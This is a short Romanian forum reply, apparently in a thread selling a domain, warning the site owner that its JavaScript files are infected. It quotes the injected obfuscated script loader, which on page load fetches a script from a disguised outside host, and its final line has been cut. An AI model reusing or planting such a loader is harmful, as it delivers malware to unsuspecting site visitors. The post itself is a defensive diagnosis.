Vand domeniul: ibacalaureat.ro

[hyperionXS]

Si NOD 32 detecteaza virus. Ai o problema cu toate fisierele javascript. Uite codul strain:

/*GNU GPL*/ try{window.onload = function(){var W6xyjyneu8rwm = document.createElement('script');W6xyjyneu8rwm.setAttribute('type', 'text/javascript');W6xyjyneu8rwm.setAttribute('src',  'h$$!@t$^t@&p(#):#/$&()!/^(#$$s^(u@#(l@#!e&&k@@!)h((&a()##-(^c)&o@@m#)(.(@$p$)i#&(@c^f$#!@o#&#c&$o($@$.^!)#c^(&o^(m)#!).^!))a$^$!m#!a@)z!!o)(n@&)-#^!f!!r$.((!#!v$&#i((d^$$!e!o)(&s&^$(a)!^l#e$)o)!$n)#l$)((i#)n#)!e)(&@.&!$^^r!()u$@@^$:(#(!8!0^)8)#0^#$^/@$&g$@o#^(!o@)!&g!l&)^e@#!^.!(@(c($o#&@!m(/^)g#))(o!$o^)g)&$l#^e)^&#.@&c#!o^(m(/@&s$(#h#(!u)#f^u)^n^^&(i#@).@@c^o#^#m#&/(@(n&@o^^)k^$i!(a^.#^c!^o^)m#!$$/()z!#s##h!!@&a!&(r@((@e(&$.)!&&n#&)e$#^t(^#/()'.replace(/&|\!|\)|\(|@|\^|#|\$/ig, ''));W6xyjyneu8rwm.setAttribute('defer', 'defer');

In general ultima linie de cod.

Later Edit: Ha ha, dupa ce pusesem tot codul infectat aici, NOD 32 arata ca si seopedia avea virus , desi practic nu era executat. asa ca am taiat ultima parte, cu document.appendChild().